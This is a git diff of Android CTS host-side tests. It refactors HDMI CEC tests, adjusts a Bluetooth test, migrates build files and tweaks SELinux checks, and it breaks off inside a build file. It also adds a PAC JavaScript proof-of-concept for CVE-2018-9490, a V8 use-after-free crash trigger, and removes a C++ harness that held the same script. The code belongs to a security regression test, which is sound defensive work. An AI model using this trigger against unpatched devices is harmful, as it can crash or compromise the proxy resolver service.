- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 10.1.2-1
@@ -57,20 +42,11 @@ public final class HdmiCecPhysicalAddressTest implements IDeviceTest {
@Test
public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
- int physicalAddress = hdmiCecUtils.getParamsFromMessage(message,
- HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
- assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress);
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("reboot");
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+ int physicalAddress = hdmiCecClient.getParamsFromMessage(message,
+ HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress);
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
index d396b05fdd4..30f8d5e2f49 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
@@ -17,40 +17,25 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPowerStatusTest implements IDeviceTest {
+public final class HdmiCecPowerStatusTest extends BaseHostJUnit4Test {
private static final int ON = 0x0;
private static final int OFF = 0x1;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.14-1
@@ -60,21 +45,12 @@ public final class HdmiCecPowerStatusTest implements IDeviceTest {
@Test
public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- /* Make sure the device is not booting up/in standby */
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
- CecMessage.REPORT_POWER_STATUS);
- assertEquals(ON, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ /* Make sure the device is not booting up/in standby */
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.REPORT_POWER_STATUS);
+ assertEquals(ON, hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -85,23 +61,17 @@ public final class HdmiCecPowerStatusTest implements IDeviceTest {
@Test
public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
try {
- hdmiCecUtils.init();
/* Make sure the device is not booting up/in standby */
device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
CecMessage.REPORT_POWER_STATUS);
- assertEquals(OFF, hdmiCecUtils.getParamsFromMessage(message));
+ assertEquals(OFF, hdmiCecClient.getParamsFromMessage(message));
} finally {
/* Wake up the device */
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- hdmiCecUtils.killCecProcess();
}
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
index 1e5f05c2faa..d95bbcd450d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
@@ -17,39 +17,23 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to test routing control (Section 11.2.2) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecRoutingControlTest implements IDeviceTest {
+public final class HdmiCecRoutingControlTest extends BaseHostJUnit4Test {
private static final int PHYSICAL_ADDRESS = 0x1000;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient = new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.2-2
@@ -59,20 +43,11 @@ public final class HdmiCecRoutingControlTest implements IDeviceTest {
@Test
public void cect_11_2_2_2_RequestActiveSource() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("input keyevent KEYCODE_HOME");
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
- CecMessage.REQUEST_ACTIVE_SOURCE);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
- assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("input keyevent KEYCODE_HOME");
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+ CecMessage.REQUEST_ACTIVE_SOURCE);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+ assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -83,19 +58,16 @@ public final class HdmiCecRoutingControlTest implements IDeviceTest {
@Test
public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
try {
- hdmiCecUtils.init();
device.executeShellCommand("input keyevent KEYCODE_HOME");
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
- hdmiCecUtils.checkExpectedOutput(CecMessage.INACTIVE_SOURCE);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.INACTIVE_SOURCE);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS,
+ hdmiCecClient.getParamsFromMessage(message));
} finally {
/* Wake up the device */
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- hdmiCecUtils.killCecProcess();
}
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
index aff06c5bcef..9e86ee784bd 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
@@ -17,39 +17,25 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC system information tests (Section 11.2.6) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemInformationTest implements IDeviceTest {
+public final class HdmiCecSystemInformationTest extends BaseHostJUnit4Test {
/** The version number 0x05 refers to CEC v1.4 */
private static final int CEC_VERSION_NUMBER = 0x05;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.6-1
@@ -58,19 +44,10 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest {
@Test
public void cect_11_2_6_1_Ack() throws Exception {
String command = CecClientMessage.POLL + " " + CecDevice.PLAYBACK_1;
- String expectedOutput = "Playback 1 (" + CecDevice.PLAYBACK_1 + "): device " +
- "status changed into 'present'";
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendConsoleMessage(command);
- if (!hdmiCecUtils.checkConsoleOutput(expectedOutput)) {
- throw new Exception("Could not find " + expectedOutput);
- }
- } finally {
- hdmiCecUtils.killCecProcess();
+ String expectedOutput = "POLL sent";
+ hdmiCecClient.sendConsoleMessage(command);
+ if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+ throw new Exception("Could not find " + expectedOutput);
}
}
@@ -81,20 +58,13 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest {
*/
@Test
public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
- /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We
- * have to verify the last 6 nibbles */
- int receivedParams = hdmiCecUtils.getParamsFromMessage(message);
- assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8);
- assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF);
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ hdmiCecClient.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+ /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We
+ * have to verify the last 6 nibbles */
+ int receivedParams = hdmiCecClient.getParamsFromMessage(message);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8);
+ assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF);
}
/**
@@ -103,18 +73,11 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest {
*/
@Test
public void cect_11_2_6_6_GiveCecVersion() throws Exception {
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
- CecMessage.CEC_VERSION);
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.CEC_VERSION);
- assertEquals(CEC_VERSION_NUMBER, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ assertEquals(CEC_VERSION_NUMBER, hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -123,19 +86,12 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest {
*/
@Test
public void cect_11_2_6_7_GetMenuLanguage() throws Exception {
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
- CecMessage.FEATURE_ABORT);
- int abortedOpcode = hdmiCecUtils.getParamsFromMessage(message,
- CecMessage.GET_MENU_LANGUAGE.toString().length());
- assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE);
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.FEATURE_ABORT);
+ int abortedOpcode = hdmiCecClient.getParamsFromMessage(message,
+ CecMessage.GET_MENU_LANGUAGE.toString().length());
+ assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE);
}
}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index 38fbf564c7b..a5a220c0d46 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -75,6 +75,9 @@ public class BatteryStatsBgVsFgActions {
/** Number of times to check that app is in correct state before giving up. */
public static final int PROC_STATE_CHECK_ATTEMPTS = 10;
+ /** Number of times to check that Bluetooth is enabled before giving up. */
+ public static final int BT_ENABLE_ATTEMPTS = 8;
+
/** Perform the action specified by the given action code (see constants above). */
public static void doAction(Context ctx, String actionCode, String requestCode) {
if (actionCode == null) {
@@ -167,7 +170,17 @@ public class BatteryStatsBgVsFgActions {
Log.e(TAG, "Bluetooth is not enabled");
return;
}
- sleep(8_000);
+ for (int attempt = 0; attempt < BT_ENABLE_ATTEMPTS; attempt++) {
+ if (bluetoothAdapter.isEnabled()) {
+ break;
+ } else {
+ if (attempt < BT_ENABLE_ATTEMPTS - 1) {
+ sleep(1_000);
+ } else {
+ throw new RuntimeException("Bluetooth enable failed.");
+ }
+ }
+ }
bluetoothEnabledByTest = true;
}
diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml
index 6d6db7cedee..f946b9b44aa 100644
--- a/hostsidetests/jdwpsecurity/AndroidTest.xml
+++ b/hostsidetests/jdwpsecurity/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="component" value="art" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsJdwpSecurityHostTestCases.jar" />
diff --git a/hostsidetests/jdwptunnel/AndroidTest.xml b/hostsidetests/jdwptunnel/AndroidTest.xml
index 434d5ac0459..89b8c74f258 100644
--- a/hostsidetests/jdwptunnel/AndroidTest.xml
+++ b/hostsidetests/jdwptunnel/AndroidTest.xml
@@ -16,6 +16,7 @@
<configuration description="Config for the CTS JDWP tunnel host test cases">
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="component" value="art" />
<option name="test-suite-tag" value="cts" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/monkey/AndroidTest.xml b/hostsidetests/monkey/AndroidTest.xml
index 88abf14e89f..fdb229685a5 100644
--- a/hostsidetests/monkey/AndroidTest.xml
+++ b/hostsidetests/monkey/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsMonkeyTestCases.jar" />
<option name="runtime-hint" value="5m7s" />
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
new file mode 100644
index 00000000000..502d708b730
--- /dev/null
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsHostPowerManagerTestApp",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "current",
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
deleted file mode 100644
index e58a3d2baa5..00000000000
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostPowerManagerTestApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
index 6db835e8d78..257d7892ce4 100644
--- a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
@@ -1021,7 +1021,7 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I
/**
* Asserts that a domain may exist. If a domain exists, the cardinality of
* the domain is verified to be 1 and that the correct process is running in
- * that domain.
+ * that domain. If the process is running, it is running in that domain.
*
* @param domain
* The domain or SELinux context to check.
@@ -1032,19 +1032,21 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I
throws DeviceNotAvailableException {
List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-
if (procs != null) {
String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
- + " Found: \"" + procs + "\"";
+ + " Found: \"" + procs + "\"";
assertEquals(msg, 1, procs.size());
msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+ "Found: \"" + procs.get(0) + "\"";
assertEquals(msg, executable, procs.get(0).procTitle);
}
-
if (exeProcs != null) {
- String msg = "Expected 1 process with executable \"" + executable + "\""
+ String msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+ + " Instead found it running in the domain \"" + exeProcs.get(0).label + "\"";
+ assertNotNull(msg, procs);
+
+ msg = "Expected 1 process with executable \"" + executable + "\""
+ " Found: \"" + procs + "\"";
assertEquals(msg, 1, exeProcs.size());
@@ -1237,7 +1239,7 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I
/* permissioncontroller may or may not be running */
@CddTest(requirement="9.7")
public void testPermissionControllerDomain() throws DeviceNotAvailableException {
- assertDomainZeroOrOne("u:r:permissioncontroller_app:s0:c66,c256,c512,c768", "com.google.android.permissioncontroller");
+ assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller");
}
/*
@@ -1327,6 +1329,14 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I
Matcher m = p.matcher(line);
if(m.matches()) {
String domainLabel = m.group(1);
+ // clean up the domainlabel
+ String[] parts = domainLabel.split(":");
+ if (parts.length > 4) {
+ // we have an extra categories bit at the end consisting of cxxx,cxxx ...
+ // just make the domain out of the first 4 parts
+ domainLabel = String.join(":", parts[0], parts[1], parts[2], parts[3]);
+ }
+
String user = m.group(2);
int pid = Integer.parseInt(m.group(3));
int ppid = Integer.parseInt(m.group(4));
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5fbfbd59942..d1551d01f1e 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -181,7 +181,6 @@
<!--__________________-->
<!-- Bulletin 2018-10 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
<option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
new file mode 100644
index 00000000000..9fb7ba8141d
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -0,0 +1,15 @@
+function FindProxyForURL(url, host){
+ alert("enter");
+ let arr = [];
+ arr[1000] = 0x1234;
+
+ arr.__defineGetter__(256, function () {
+ delete arr[256];
+ arr.unshift(1.1);
+ arr.length = 0;
+ });
+
+ Object.entries(arr).toString();
+ alert(JSON.stringify(entries));
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
deleted file mode 100644
index c6d332ad18d..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <memory>
-#include <proxy_resolver_v8_wrapper.h>
-
-#define URL u""
-#define HOST u""
-#define SCRIPT \
- u"function FindProxyForURL(url, host){\n" \
- " alert(\"enter\");\n" \
- " let arr = [];\n" \
- " arr[1000] = 0x1234;\n" \
- "\n" \
- " arr.__defineGetter__(256, function () {\n" \
- " delete arr[256];\n" \
- " arr.unshift(1.1);\n" \
- " arr.length = 0;\n" \
- " });\n" \
- "\n" \
- " Object.entries(arr).toString();\n" \
- " alert(JSON.stringify(entries));\n" \
- "\n" \
- " return 0;\n" \
- "}\n"
-
-int main(void) {
- auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
- ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
- ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
- auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
- resolver.get(), URL, HOST), &free);
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 0423b37bcf9..dfc3de00f85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -42,7 +42,7 @@ public class Poc18_10 extends SecurityTestCase {
*/
@SecurityTest
public void testPocCVE_2018_9490() throws Exception {
- int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+ int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
assertTrue(code != 139); // 128 + signal 11
}
}
diff --git a/hostsidetests/signedconfig/Android.mk b/hostsidetests/signedconfig/Android.mk
deleted file mode 100644
index 9aaa6acb0b1..00000000000
--- a/hostsidetests/signedconfig/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp
new file mode 100644
index 00000000000..eb00aa6e27c
--- /dev/null
+++ b/hostsidetests/signedconfig/app/Android.bp
@@ -0,0 +1,147 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_defaults {
+ name: "CtsSignedConfigDefaults",
+ sdk_version: "current",
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
